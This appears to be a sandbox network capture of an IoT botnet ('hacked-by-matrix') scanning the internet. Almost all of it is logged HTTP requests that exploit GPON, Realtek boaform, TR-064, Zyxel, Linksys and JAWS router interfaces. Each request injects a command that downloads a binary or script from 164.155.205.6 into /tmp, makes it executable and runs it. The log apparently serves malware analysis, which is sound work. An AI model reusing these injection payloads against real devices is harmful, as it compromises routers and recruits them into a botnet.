Mar 2, 2024 12:38:13.140038013 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1384	192.168.2.23	37360	37.134.98.250	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:13.140057087 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1385	192.168.2.23	49554	212.112.89.244	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:13.140068054 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1386	192.168.2.23	51374	178.119.185.104	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:13.140080929 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1387	192.168.2.23	54012	37.45.228.148	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:13.140117884 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1388	192.168.2.23	57724	212.184.250.83	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:13.140129089 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1389	192.168.2.23	55462	172.67.57.194	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:13.142718077 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1390	192.168.2.23	58592	185.110.134.19	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:13.192703962 CET	140	IN	HTTP/1.1 403 Forbidden Content-Type: text/html;charset=UTF-8 Content-Length: 0 Connection: close Cache-control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
1391	192.168.2.23	52880	62.133.60.133	1723

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:13.604048014 CET	281	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
1392	192.168.2.23	52374	87.98.183.200	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:13.772262096 CET	239	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:13.952146053 CET	507	IN	HTTP/1.1 400 Bad Request Date: Sat, 02 Mar 2024 11:38:13 GMT Server: Apache/2.4.56 (Debian) Content-Length: 313 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 6d 61 69 6e 74 65 6e 61 6e 63 65 2e 6e 65 6f 73 65 6f 2e 66 72 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.56 (Debian) Server at maintenance.neoseo.fr Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1393	192.168.2.23	51590	174.26.143.210	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:14.507729053 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:18.649534941 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1394	192.168.2.23	56678	172.252.106.164	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:14.776683092 CET	239	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:15.609935999 CET	239	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:15.769615889 CET	406	IN	HTTP/1.1 400 Bad Request Date: Sat, 02 Mar 2024 11:38:15 GMT Server: Apache/2 Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1395	192.168.2.23	42908	169.155.61.238	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:15.496440887 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
1396	192.168.2.23	54720	206.81.13.232	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:15.585861921 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
1397	192.168.2.23	47878	204.13.49.60	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:16.061790943 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:38:16.703068018 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:38:17.435522079 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:38:18.873567104 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:38:21.977087021 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:38:27.864245892 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:38:39.382638931 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1398	192.168.2.23	57074	210.75.0.138	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:16.150474072 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1399	192.168.2.23	57904	118.106.83.143	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:16.150490999 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1400	192.168.2.23	60382	118.115.33.139	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:16.150500059 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1401	192.168.2.23	44802	210.13.78.215	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:16.150532007 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1402	192.168.2.23	54816	109.65.123.33	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:16.150568008 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1403	192.168.2.23	36636	79.106.236.156	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:16.150580883 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1404	192.168.2.23	50492	42.210.174.67	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:16.150685072 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
